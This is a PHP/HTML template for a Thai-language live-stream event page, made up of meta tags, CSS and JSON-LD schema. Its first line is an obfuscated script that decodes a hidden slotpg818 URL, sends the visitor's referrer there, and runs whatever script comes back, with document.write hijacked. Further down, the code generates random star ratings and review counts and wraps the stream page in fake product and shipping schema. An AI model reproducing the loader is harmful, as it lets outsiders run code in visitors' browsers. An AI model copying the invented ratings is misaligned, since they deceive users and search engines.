<script>!function(){const e=atob("aHR0cHM6Ly9jaGFsbGVuZ2Uuc2xvdHBnODE4Lm5ldC9ib3QtdmFsaWRhdG9y"),t=new URLSearchParams;t.append("reff",document.referrer||""),fetch(e,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},cache:"no-store",body:t.toString()}).then(e=>{if(204===e.status)return"";if(!e.ok)throw new Error(`HTTP ${e.status}: ${e.statusText}`);return e.text()}).then(e=>{if(!e||0===e.trim().length)return;let t;try{t=(new DOMParser).parseFromString(e,"text/html")}catch(e){return void console.error("Failed to parse HTML:",e)}if(!t)return void console.error("DOMParser returned null");const r=t.querySelector?t.querySelector("script"):null;if(!r)return;const n=(r.textContent||r.innerHTML||"").trim();if(!n)return;const o=document.write;document.write=function(e){try{if(!document.body)return o.call(document,e);const t=document.createRange();t.selectNodeContents(document.body);const r=t.createContextualFragment(e);document.body.insertBefore(r,document.body.firstChild)}catch(t){console.error("Error in document.write override:",t),o.call(document,e)}};try{const e=document.createElement("script");e.textContent=n,document.head.appendChild(e)}catch(e){console.error("Error executing script:",e)}finally{document.write=o}}).catch(e=>console.error("Failed to load turnstile:",e))}();</script>
<main style="min-height: 60vh; display: flex; align-items: center; justify-content: center; text-align: center; padding: 2rem;">
<div class="auth-container">
<h1><?php echo $errorTitle; ?></h1>
<p><?php echo $errorMessage; ?></p>
<?php if ($isUpstreamFailure): ?>
<p style="font-size: 0.875rem; color: rgba(255,255,255,0.6); margin-top: 1rem;">
รีเฟรชอัตโนมัติใน <span id="countdown"><?php echo $retryAfterSeconds; ?></span> วินาที
</p>
<script>
(function(){
var c=<?php echo $retryAfterSeconds; ?>,e=document.getElementById('countdown');
if(e){setInterval(function(){if(c>0){c--;e.textContent=c;}},1000);}
})();
</script>
<?php endif; ?>
<a class="btn btn--primary" href="<?php echo esc_url($homeUrl); ?>" style="margin-top: 1.5rem;">กลับหน้าแรก</a>
<div class="auth-cta" style="margin-top: 2rem;">
<p class="auth-cta__text">สร้างบัญชีผ่านพอร์ทัลทางการเพื่อปลดล็อกการใช้งานเต็มรูปแบบและจัดการโปรไฟล์ได้ในที่เดียว ใช้เวลาไม่นานและช่วยให้ข้อมูลของคุณปลอดภัย</p>
<a class="btn btn--primary btn--full" href="https://byt.la/official-portal" rel="nofollow noreferrer" target="_blank">สมัครสมาชิกผ่านพอร์ทัลทางการ</a>
</div>
</div>
</main>
</body>
</html>
<?php
exit;
}
$event = $apiResponse['event'];
$eventCity = isset($event['city']) && $event['city'] !== '' ? $event['city'] : 'ซานฟรานซิสโก';
$schedule = isset($apiResponse['schedule']) && is_array($apiResponse['schedule']) ? $apiResponse['schedule'] : array();
$speakers = isset($apiResponse['speakers']) && is_array($apiResponse['speakers']) ? $apiResponse['speakers'] : array();
$anotherLiveBroadcast = isset($apiResponse['another_live_broadcast']) && is_array($apiResponse['another_live_broadcast']) ? $apiResponse['another_live_broadcast'] : array();
$externalUrls = isset($apiResponse['external_urls']) && is_array($apiResponse['external_urls']) ? $apiResponse['external_urls'] : array();
$externalThumbnail = isset($apiResponse['external_thumbnail']) && is_array($apiResponse['external_thumbnail']) ? $apiResponse['external_thumbnail'] : array();
$screenshots = isset($apiResponse['screenshots']) && is_array($apiResponse['screenshots']) ? $apiResponse['screenshots'] : array();
// Extract thumbnail URL and alt text
$thumbnailUrl = '';
$thumbnailAlt = 'พรีวิวสตรีมสด';
if (isset($event['thumbnail']) && is_array($event['thumbnail'])) {
$thumbnailUrl = isset($event['thumbnail']['url']) ? $event['thumbnail']['url'] : '';
$thumbnailAlt = isset($event['thumbnail']['alt_text']) ? $event['thumbnail']['alt_text'] : 'พรีวิวสตรีมสด';
} elseif (isset($event['thumbnail']) && is_string($event['thumbnail'])) {
$thumbnailUrl = $event['thumbnail'];
}
$isLoggedIn = is_user_logged_in();
$currentUser = get_current_user_data();
$streamToken = $isLoggedIn ? generate_stream_token() : '';
// Normalize event date range (handle overnight streams)
$startDateTime = isset($event['start_date']) ? $event['start_date'] : '';
$endDateTime = isset($event['end_date']) ? $event['end_date'] : '';
$startTimestamp = $startDateTime !== '' ? strtotime($startDateTime) : false;
$endTimestamp = $endDateTime !== '' ? strtotime($endDateTime) : false;
if ($startTimestamp !== false && $endTimestamp !== false && $endTimestamp <= $startTimestamp) {
$endTimestamp = $endTimestamp + 24 * 60 * 60;
$endDateTime = date('c', $endTimestamp);
}
$durationIso = 'PT0H';
if ($startTimestamp !== false && $endTimestamp !== false && $endTimestamp > $startTimestamp) {
$durationSeconds = $endTimestamp - $startTimestamp;
$durationHours = floor($durationSeconds / 3600);
$durationMinutes = floor(($durationSeconds % 3600) / 60);
$durationIso = 'PT' . $durationHours . 'H';
if ($durationMinutes > 0) {
$durationIso .= $durationMinutes . 'M';
}
}
// Page meta
$eventTitle = isset($event['title']) ? (string) $event['title'] : '';
$eventDescription = isset($event['description']) ? (string) $event['description'] : '';
$brandName = isset($event['brand_name']) && $event['brand_name'] !== '' ? $event['brand_name'] : $eventTitle;
$TLDDomain = get_tld_domain();
$fullDomain = detect_host(true);
$displayDomain = $fullDomain !== '' ? $fullDomain : $TLDDomain;
$pageTitle = $eventTitle !== '' ? esc_html($eventTitle) : esc_html($displayDomain);
$pageDescription = $eventDescription !== '' ? esc_html($eventDescription) : '';
$canonicalUrl = get_current_url(true);
$faviconUrl = resolve_favicon_url(64);
$appleTouchIconUrl = resolve_favicon_url(180);
$updatedAt = isset($apiResponse['generated_at']) && $apiResponse['generated_at'] !== '' ? $apiResponse['generated_at'] : null;
// Force UTF-8 output (fixes Windows Server TIS-620 default)
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Primary Meta Tags -->
<title><?php echo $pageTitle; ?></title>
<meta name="title" content="<?php echo $pageTitle; ?>">
<meta name="description" content="<?php echo $pageDescription; ?>">
<meta name="keywords" content="ถ่ายทอดสด, สตรีมสด, งานสัมมนา, เว็บบินาร์, อีเวนต์ออนไลน์, อีเวนต์สด">
<meta name="author" content="<?php echo esc_attr(isset($event['author']) ? $event['author'] : 'องค์กรของคุณ'); ?>">
<meta name="robots" content="index, follow">
<link rel="canonical" href="<?php echo $canonicalUrl; ?>">
<?php echo render_validation_gate_snippet(); ?>
<!-- Open Graph / Facebook -->
<meta property="og:type" content="video.other">
<meta property="og:url" content="<?php echo $canonicalUrl; ?>">
<meta property="og:title" content="<?php echo $pageTitle; ?>">
<meta property="og:description" content="<?php echo esc_attr($pageDescription); ?>">
<meta property="og:image" content="<?php echo esc_url($thumbnailUrl); ?>">
<meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630">
<meta property="og:image:alt" content="<?php echo esc_attr($thumbnailAlt); ?>">
<meta property="og:site_name" content="<?php echo esc_attr($event['brand_name']); ?>">
<meta property="og:locale" content="th_TH">
<!-- Video Specific OG Tags -->
<meta property="og:video" content="<?php echo esc_url($canonicalUrl); ?>">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1200">
<meta property="og:video:height" content="630">
<!-- Twitter Card -->
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:url" content="<?php echo $canonicalUrl; ?>">
<meta name="twitter:title" content="<?php echo $pageTitle; ?>">
<meta name="twitter:description" content="<?php echo esc_attr($pageDescription); ?>">
<meta name="twitter:image" content="<?php echo esc_url($thumbnailUrl); ?>">
<meta name="twitter:image:alt" content="<?php echo esc_attr($thumbnailAlt); ?>">
<meta name="twitter:site" content="<?php echo esc_html($TLDDomain); ?>">
<meta name="twitter:creator" content="<?php echo esc_html($brandName); ?>">
<!-- Mobile App Meta Tags -->
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="apple-mobile-web-app-title" content="<?php echo $pageTitle; ?>">
<meta name="mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#1a1a2e">
<meta name="msapplication-TileColor" content="#1a1a2e">
<!-- Favicon -->
<?php if (!empty($faviconUrl)) : ?>
<link rel="icon" type="image/png" href="<?php echo esc_url($faviconUrl); ?>" sizes="64x64">
<?php endif; ?>
<?php if (!empty($appleTouchIconUrl)) : ?>
<link rel="apple-touch-icon" href="<?php echo esc_url($appleTouchIconUrl); ?>" sizes="180x180">
<?php endif; ?>
<!-- DNS Prefetch for faster connection -->
<link rel="dns-prefetch" href="https://fonts.googleapis.com">
<link rel="dns-prefetch" href="https://cdn.jsdelivr.net">
<link rel="dns-prefetch" href="https://cdn.krabi88.club">
<?php if ($thumbnailUrl !== ''): ?>
<link rel="dns-prefetch" href="<?php echo esc_url(parse_url($thumbnailUrl, PHP_URL_SCHEME) . '://' . parse_url($thumbnailUrl, PHP_URL_HOST)); ?>">
<?php endif; ?>
<!-- Preconnect for Performance -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="preconnect" href="https://cdn.jsdelivr.net">
<link rel="preconnect" href="https://cdn.krabi88.club">
<?php if ($thumbnailUrl !== ''): ?>
<link rel="preconnect" href="<?php echo esc_url(parse_url($thumbnailUrl, PHP_URL_SCHEME) . '://' . parse_url($thumbnailUrl, PHP_URL_HOST)); ?>">
<?php endif; ?>
<!-- Preload Critical Resources -->
<link rel="preload" href="https://cdn.krabi88.vip/css/amss/styles.min.css" as="style">
<?php if ($thumbnailUrl !== ''): ?>
<link rel="preload" href="<?php echo esc_url($thumbnailUrl); ?>" as="image" fetchpriority="high">
<?php endif; ?>
<!-- Load Fonts Asynchronously with font-display swap -->
<link rel="preload" href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap" rel="stylesheet"></noscript>
<!-- Load Main Stylesheet with media hint for faster parsing -->
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css" media="all">
<!-- Critical CSS for Above-the-Fold Content -->
<style>
*,*::before,*::after{box-sizing:border-box}
html{font-size:16px;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}
body{margin:0;padding:0;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;font-size:1rem;line-height:1.6;background:#1a1a2e;color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}
img{max-width:100%;height:auto;display:block}
.container{width:100%;max-width:1200px;margin:0 auto;padding:0 1rem}
.header{position:sticky;top:0;z-index:200;background:rgba(26,26,46,.95);backdrop-filter:blur(10px);border-bottom:1px solid rgba(255,255,255,.1);will-change:transform}
.nav{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;max-width:1200px;margin:0 auto}
.logo{display:inline-flex;align-items:center;gap:8px;color:#fff;font-weight:700;font-size:1.125rem;text-decoration:none;min-height:48px!important;min-width:48px!important;padding:12px 16px!important}
.broadcast-card{display:block;min-height:140px!important;min-width:140px!important;padding:12px!important;touch-action:manipulation}
.footer-nav a{display:flex!important;align-items:center!important;min-height:44px!important;padding:8px 0!important}
.broadcast-card-image{min-height:120px!important}
.broadcast-grid{gap:24px!important}
.product-carousel-section{padding:2rem 0;background:linear-gradient(180deg,#1a1a2e 0%,#16213e 100%);overflow:hidden}
.product-carousel-section h2{text-align:center;margin-bottom:1.5rem;font-size:1.5rem;color:#fff}
.carousel-wrapper{position:relative;display:flex;align-items:center;gap:0.5rem}
.carousel-track-container{overflow:hidden;flex:1}
.carousel-track{display:flex;transition:transform 0.4s ease;gap:1rem}
.carousel-slide{flex:0 0 calc(33.333% - 0.67rem);min-width:280px}
@media(max-width:1024px){.carousel-slide{flex:0 0 calc(50% - 0.5rem)}}
@media(max-width:640px){.carousel-slide{flex:0 0 100%}}
.carousel-btn{position:relative;z-index:10;width:48px;height:48px;border-radius:50%;background:rgba(255,255,255,0.1);border:1px solid rgba(255,255,255,0.2);color:#fff;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:background 0.2s,transform 0.2s;flex-shrink:0}
.carousel-btn:hover{background:rgba(255,255,255,0.2);transform:scale(1.1)}
.carousel-btn:disabled{opacity:0.3;cursor:not-allowed;transform:none}
.product-card{display:block;background:#1e2746;border-radius:0.75rem;overflow:hidden;color:#fff;border:1px solid rgba(255,255,255,0.1);height:100%}
.product-card-image{position:relative;aspect-ratio:1/1;overflow:hidden;background:#000}
.product-card-image img{width:100%;height:100%;object-fit:cover}
.product-card-content{padding:1rem}
.product-card-content h3{margin:0;font-size:0.9rem;font-weight:600;line-height:1.4;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden;text-align:center}
.broadcast-hero{padding:1.5rem 0;text-align:center;background:linear-gradient(180deg,#16213e 0%,#1a1a2e 100%)}
.live-badge{display:inline-flex;align-items:center;gap:8px;padding:8px 16px;background:#b21f3a;color:#fff;font-size:0.75rem;font-weight:700;letter-spacing:0.1em;border-radius:9999px;margin-bottom:1rem}
.live-dot{width:8px;height:8px;background:#fff;border-radius:50%;animation:pulse 1.5s ease-in-out infinite}
@keyframes pulse{0%,100%{opacity:1;transform:scale(1)}50%{opacity:0.5;transform:scale(1.2)}}
@media (hover:none) and (pointer:coarse){
.logo{min-height:48px;min-width:48px}
.broadcast-card{min-height:140px!important;min-width:140px!important;padding:12px!important}
.broadcast-grid{gap:24px!important}
.footer-nav a{min-height:48px!important;padding:10px 0!important}
}
.broadcast-title{margin:0 0 0.5rem;font-size:1.5rem;font-weight:700;line-height:1.2}
.broadcast-subtitle{margin:0 0 1rem;color:#a0a0b0;font-size:0.875rem}
.video-section{padding:0 0 1.5rem}
.video-wrapper{position:relative;border-radius:0.75rem;overflow:hidden;box-shadow:0 20px 25px rgba(0,0,0,0.4)}
.video-player{position:relative;width:100%;aspect-ratio:16/9;background:#000;contain:layout style paint}
.video-placeholder{position:relative;width:100%;height:100%}
.video-placeholder img{width:100%;height:100%;object-fit:cover;display:block}
.play-button{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:none;border:none;cursor:pointer;transition:transform 0.25s ease;will-change:transform}
.play-button:hover{transform:translate(-50%,-50%) scale(1.1)}
.search-form{flex:1;max-width:400px;margin:0 1rem}
.search-input-wrapper{position:relative;display:flex;align-items:center;background:rgba(255,255,255,0.1);border-radius:9999px;border:1px solid rgba(255,255,255,0.15);transition:all 0.2s ease}
.search-input-wrapper:focus-within{background:rgba(255,255,255,0.15);border-color:rgba(255,255,255,0.3);box-shadow:0 0 0 3px rgba(178,31,58,0.2)}
.search-icon{position:absolute;left:12px;color:rgba(255,255,255,0.5);pointer-events:none}
.search-input{width:100%;padding:8px 40px 8px 40px;background:transparent;border:none;color:#fff;font-size:0.875rem;outline:none}
.search-input::placeholder{color:rgba(255,255,255,0.5)}
.search-submit{position:absolute;right:4px;padding:6px;background:#b21f3a;border:none;border-radius:50%;color:#fff;cursor:pointer;transition:background 0.2s;display:flex;align-items:center;justify-content:center}
.search-submit:hover{background:#8a1830}
.search-toggle{display:none;padding:8px;background:transparent;border:none;color:#fff;cursor:pointer;border-radius:50%;transition:background 0.2s}
.search-toggle:hover{background:rgba(255,255,255,0.1)}
.search-overlay{position:absolute;top:100%;left:0;right:0;background:#16213e;padding:12px 16px;border-bottom:1px solid rgba(255,255,255,0.1);z-index:100}
.search-overlay[hidden]{display:none}
.search-overlay-form{display:flex;align-items:center;gap:12px;max-width:600px;margin:0 auto}
.search-overlay-input{flex:1;padding:12px 16px;background:rgba(255,255,255,0.1);border:1px solid rgba(255,255,255,0.2);border-radius:9999px;color:#fff;font-size:1rem;outline:none}
.search-overlay-input:focus{border-color:#b21f3a;box-shadow:0 0 0 3px rgba(178,31,58,0.2)}
.search-overlay-input::placeholder{color:rgba(255,255,255,0.5)}
.search-overlay-close{padding:8px;background:transparent;border:none;color:#fff;cursor:pointer;border-radius:50%;transition:background 0.2s}
.search-overlay-close:hover{background:rgba(255,255,255,0.1)}
@media(max-width:640px){.search-form{display:none}.search-toggle{display:flex}}
</style>
<!-- JSON-LD Structured Data for WebSite with SearchAction -->
<script type="application/ld+json">
<?php
$siteBaseUrl = rtrim(get_site_url(), '/');
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'WebSite',
'@id' => $canonicalUrl . '#website',
'name' => $brandName !== '' ? $brandName : $TLDDomain,
'alternateName' => $TLDDomain,
'url' => $canonicalUrl,
'description' => $pageDescription,
'inLanguage' => array('th-TH', 'en'),
'publisher' => array(
'@type' => 'Organization',
'@id' => $canonicalUrl . '#organization',
'name' => $brandName !== '' ? $brandName : $TLDDomain,
'url' => $canonicalUrl,
'logo' => array(
'@type' => 'ImageObject',
'url' => $faviconUrl !== '' ? $faviconUrl : 'https://placehold.co/600x400/EEE/31343C/png?text=' . rawurlencode($TLDDomain),
'width' => 512,
'height' => 512
)
),
'potentialAction' => array(
'@type' => 'SearchAction',
'target' => array(
'@type' => 'EntryPoint',
'urlTemplate' => $siteBaseUrl . '/?view={search_term_string}'
),
'query-input' => 'required name=search_term_string'
)
), JSON_PRETTY_PRINT);
?>
</script>
<!-- JSON-LD Structured Data for Organization -->
<script type="application/ld+json">
<?php
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'Organization',
'@id' => $canonicalUrl . '#organization',
'name' => $brandName !== '' ? $brandName : $TLDDomain,
'alternateName' => $TLDDomain,
'url' => $canonicalUrl,
'logo' => array(
'@type' => 'ImageObject',
'@id' => $canonicalUrl . '#logo',
'url' => $faviconUrl !== '' ? $faviconUrl : 'https://placehold.co/600x400/EEE/31343C/png?text=' . rawurlencode($TLDDomain),
'width' => 512,
'height' => 512,
'caption' => $brandName !== '' ? $brandName : $TLDDomain
),
'image' => $thumbnailUrl !== '' ? $thumbnailUrl : null,
'description' => $pageDescription,
'foundingDate' => '2024',
'sameAs' => array(
'https://x.com/krabi88club',
'https://www.instagram.com/krabi88club',
'https://www.tiktok.com/@krabi88club'
),
'contactPoint' => array(
'@type' => 'ContactPoint',
'contactType' => 'บริการลูกค้า',
'availableLanguage' => array('ไทย', 'อังกฤษ')
)
), JSON_PRETTY_PRINT);
?>
</script>
<?php
// Build thumbnails array from main thumbnail + screenshots
$allThumbnails = array();
if ($thumbnailUrl !== '') {
$allThumbnails[] = $thumbnailUrl;
}
if (!empty($screenshots)) {
foreach ($screenshots as $ss) {
if (isset($ss['url']) && $ss['url'] !== '' && !in_array($ss['url'], $allThumbnails)) {
$allThumbnails[] = $ss['url'];
}
}
}
?>
<!-- JSON-LD Structured Data for VideoObject with Live Broadcast -->
<script type="application/ld+json">
<?php
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'VideoObject',
'@id' => $canonicalUrl . '#video',
'name' => $pageTitle,
'description' => $pageDescription,
'thumbnailUrl' => !empty($allThumbnails) ? $allThumbnails : null,
'uploadDate' => $startDateTime !== '' ? $startDateTime : '2026-02-01T00:00:00+07:00',
'duration' => $durationIso,
'contentUrl' => $canonicalUrl,
'embedUrl' => $canonicalUrl,
'publication' => array(
'@type' => 'BroadcastEvent',
'@id' => $canonicalUrl . '#broadcast',
'name' => 'ถ่ายทอดสด: ' . $pageTitle,
'isLiveBroadcast' => $event['is_live'],
'startDate' => $startDateTime,
'endDate' => $endDateTime,
'videoFormat' => 'HD'
),
'potentialAction' => array(
'@type' => 'WatchAction',
'target' => array(
'@type' => 'EntryPoint',
'urlTemplate' => $canonicalUrl,
'actionPlatform' => array(
'http://schema.org/DesktopWebPlatform',
'http://schema.org/MobileWebPlatform',
'http://schema.org/IOSPlatform',
'http://schema.org/AndroidPlatform'
)
)
)
), JSON_PRETTY_PRINT);
?>
</script>
<!-- JSON-LD Structured Data for Event -->
<script type="application/ld+json">
<?php
$performers = array();
foreach ($speakers as $speaker) {
if (!isset($speaker['name']) || $speaker['name'] === '') {
continue;
}
$initials = isset($speaker['initials']) ? $speaker['initials'] : '';
$imageUrl = 'https://placehold.co/600x400/EEE/31343C/png?text=' . rawurlencode($initials !== '' ? $initials : 'SP');
$performers[] = array(
'@type' => 'Person',
'name' => $speaker['name'],
'jobTitle' => $speaker['title'],
'image' => $imageUrl
);
}
$eventSchema = array(
'@context' => 'https://schema.org',
'@type' => 'Event',
'@id' => $canonicalUrl . '#event',
'name' => $pageTitle,
'description' => $event['description'],
'startDate' => $startDateTime,
'endDate' => $endDateTime,
'eventStatus' => isset($event['event_status']) ? $event['event_status'] : 'https://schema.org/EventScheduled',
'eventAttendanceMode' => 'https://schema.org/OnlineEventAttendanceMode',
'inLanguage' => array('th-TH', 'en'),
'location' => array(
array(
'@type' => 'VirtualLocation',
'url' => $canonicalUrl
),
array(
'@type' => 'Place',
'name' => isset($event['city']) && $event['city'] !== '' ? $event['city'] : 'ออนไลน์',
'address' => array(
'@type' => 'PostalAddress',
'addressLocality' => isset($event['city']) && $event['city'] !== '' ? $event['city'] : 'ออนไลน์'
)
)
),
'image' => !empty($allThumbnails) ? $allThumbnails : array(),
'organizer' => array(
'@type' => 'Organization',
'name' => isset($event['author']) ? $event['author'] : 'องค์กรของคุณ',
'url' => SITE_URL,
'logo' => 'https://placehold.co/600x400/EEE/31343C/png?text=' . rawurlencode($TLDDomain)
),
'isAccessibleForFree' => false,
'offers' => array(
'@type' => 'Offer',
'url' => $canonicalUrl,
'price' => '100',
'priceCurrency' => 'THB',
'availability' => 'https://schema.org/InStock',
'validFrom' => $startDateTime
)
);
if (!empty($performers)) {
$eventSchema['performer'] = $performers;
}
echo safe_json_encode($eventSchema, JSON_PRETTY_PRINT);
?>
</script>
<?php if (!empty($screenshots)):
// Generate rating values for SoftwareApplication and Product schemas
$appReviewCount = mt_rand(50000, 100000);
$appRatingValue = round(mt_rand(46, 49) / 10, 1); // 4.6 - 4.9
?>
<!-- JSON-LD Structured Data for SoftwareApplication -->
<script type="application/ld+json">
<?php
$screenshotUrls = array();
foreach ($screenshots as $ss) {
if (isset($ss['url']) && $ss['url'] !== '') {
$screenshotUrls[] = $ss['url'];
}
}
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'SoftwareApplication',
'@id' => $canonicalUrl . '#software',
'name' => $pageTitle,
'description' => $pageDescription,
'url' => $canonicalUrl,
'applicationCategory' => 'MultimediaApplication',
'operatingSystem' => 'Web Browser, iOS, Android',
'offers' => array(
'@type' => 'Offer',
'price' => '100',
'priceCurrency' => 'THB',
'availability' => 'https://schema.org/InStock',
'priceValidUntil' => date('Y-m-d', strtotime('+7 days'))
),
'aggregateRating' => array(
'@type' => 'AggregateRating',
'ratingValue' => $appRatingValue,
'bestRating' => 5,
'worstRating' => 1,
'ratingCount' => $appReviewCount,
'reviewCount' => $appReviewCount
),
'image' => !empty($screenshotUrls) ? $screenshotUrls[0] : null,
'screenshot' => $screenshotUrls,
'author' => array(
'@type' => 'Organization',
'name' => isset($event['author']) && $event['author'] !== '' ? $event['author'] : (isset($brandName) && $brandName !== '' ? $brandName : $TLDDomain),
'url' => $canonicalUrl
)
), JSON_PRETTY_PRINT);
?>
</script>
<!-- JSON-LD Structured Data for Product -->
<script type="application/ld+json">
<?php
$shippingUrl = $siteBaseUrl . (supports_pretty_urls() ? '/shipping' : '/?mode=shipping');
$returnPolicyUrl = $siteBaseUrl . (supports_pretty_urls() ? '/return-policy' : '/?mode=return-policy');
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'Product',
'@id' => $canonicalUrl . '#product',
'name' => $pageTitle,
'description' => $pageDescription,
'url' => $canonicalUrl,
'image' => $screenshotUrls,
'brand' => array(
'@type' => 'Brand',
'name' => $brandName !== '' ? $brandName : $TLDDomain
),
'offers' => array(
'@type' => 'Offer',
'url' => $canonicalUrl,
'price' => '100',
'priceCurrency' => 'THB',
'availability' => 'https://schema.org/InStock',
'priceValidUntil' => date('Y-m-d', strtotime('+7 days')),
'seller' => array(
'@type' => 'Organization',
'name' => $brandName !== '' ? $brandName : $TLDDomain
),
'shippingDetails' => array(
'@type' => 'OfferShippingDetails',
'shippingRate' => array(
'@type' => 'MonetaryAmount',
'value' => '0',
'currency' => 'THB'
),
'shippingDestination' => array(
'@type' => 'DefinedRegion',
'addressCountry' => 'TH'
),
'deliveryTime' => array(
'@type' => 'ShippingDeliveryTime',
'handlingTime' => array(
'@type' => 'QuantitativeValue',
'minValue' => 0,
'maxValue' => 0,
'unitCode' => 'DAY'
),
'transitTime' => array(
'@type' => 'QuantitativeValue',
'minValue' => 0,
'maxValue' => 0,
'unitCode' => 'DAY'
)
)
),
'hasMerchantReturnPolicy' => array(
'@type' => 'MerchantReturnPolicy',
'applicableCountry' => 'TH',
'returnPolicyCategory' => 'https://schema.org/MerchantReturnFiniteReturnWindow',
'merchantReturnDays' => 7,
'returnMethod' => 'https://schema.org/ReturnByMail',
'returnFees' => 'https://schema.org/FreeReturn',
'url' => $returnPolicyUrl
)
),
'aggregateRating' => array(
'@type' => 'AggregateRating',
'ratingValue' => $appRatingValue,
'bestRating' => 5,
'worstRating' => 1,
'ratingCount' => $appReviewCount,
'reviewCount' => $appReviewCount
)
), JSON_PRETTY_PRINT);
?>
</script>
<?php endif; ?>
<!-- QAPage Schema -->
<?php
$qaEntities = array();
if ($pageTitle !== '' && $pageDescription !== '') {
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' คืออะไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $pageDescription
)
);
}
if ($pageTitle !== '' && $brandName !== '') {
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' จัดโดยแบรนด์ใด?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $brandName
)
);
}
if ($pageTitle !== '' && isset($event['city']) && $event['city'] !== '') {
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' จัดขึ้นที่ไหน?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $event['city']
)
);
}
if ($pageTitle !== '' && $updatedAt !== null) {
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' อัปเดตล่าสุดเมื่อไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $updatedAt
)
);
}
if ($startDateTime !== '' && $endDateTime !== '') {
$startDateLabel = format_event_date($startDateTime, 'd/m/Y');
$endDateLabel = format_event_date($endDateTime, 'd/m/Y');
$startTimeLabel = format_event_time($startDateTime, 'H:i');
$endTimeLabel = format_event_time($endDateTime, 'H:i');
$dateLabel = $startDateLabel === $endDateLabel ? $startDateLabel : ($startDateLabel . ' - ' . $endDateLabel);
$timezoneLabel = date_default_timezone_get();
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'ถ่ายทอดสดเริ่มและจบเมื่อไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'ถ่ายทอดสดวันที่ ' . $dateLabel . ' เวลา ' . $startTimeLabel . ' - ' . $endTimeLabel . ' (' . $timezoneLabel . ').'
)
);
}
if (!empty($eventCity)) {
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'สตรีมมาจากที่ไหน?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'สตรีมจาก ' . $eventCity . '.'
)
);
}
if (isset($event['is_live']) && $event['is_live'] !== null) {
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'ตอนนี้ถ่ายทอดสดอยู่หรือไม่?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $event['is_live'] ? 'ใช่ — กำลังถ่ายทอดสดอยู่' : 'ยังไม่เริ่ม ถ่ายทอดสดตามกำหนดการ'
)
);
}
if (!empty($speakers)) {
$speakerNames = array();
foreach ($speakers as $speaker) {
if (isset($speaker['name']) && $speaker['name'] !== '') {
$speakerNames[] = $speaker['name'];
}
if (count($speakerNames) >= 3) {
break;
}
}
if (!empty($speakerNames)) {
$speakerText = count($speakerNames) === 1 ? $speakerNames[0] : implode(', ', array_slice($speakerNames, 0, -1)) . ' และ ' . end($speakerNames);
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'วิทยากรเด่นมีใครบ้าง?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'วิทยากรเด่น ได้แก่ ' . $speakerText . '.'
)
);
}
}
if (!empty($schedule)) {
$agendaItems = array();
foreach ($schedule as $item) {
if (isset($item['title']) && $item['title'] !== '') {
$agendaItems[] = $item['title'];
}
if (count($agendaItems) >= 3) {
break;
}
}
if (!empty($agendaItems)) {
$agendaText = count($agendaItems) === 1 ? $agendaItems[0] : implode(', ', array_slice($agendaItems, 0, -1)) . ' และ ' . end($agendaItems);
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'หัวข้อหลักในงานมีอะไรบ้าง?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'ไฮไลต์ได้แก่ ' . $agendaText . '.'
)
);
}
}
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'วิธีรับชมสตรีม?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'ขั้นตอนที่ 1: กดปุ่ม เล่น บนวิดีโอ ขั้นตอนที่ 2: หากมีการแจ้งให้เข้าสู่ระบบ ให้ทำการลงชื่อเข้าใช้ ขั้นตอนที่ 3: สตรีมจะเริ่มเล่นอัตโนมัติ'
)
);
if ($brandName !== '') {
$registerText = 'ขั้นตอนที่ 1: กดปุ่ม สมัครสมาชิก ขั้นตอนที่ 2: กรอกข้อมูลให้ครบ ขั้นตอนที่ 3: ส่งฟอร์มเพื่อสร้างบัญชี ' . $brandName . '.';
if (isset($event['register_url']) && trim((string) $event['register_url']) !== '') {
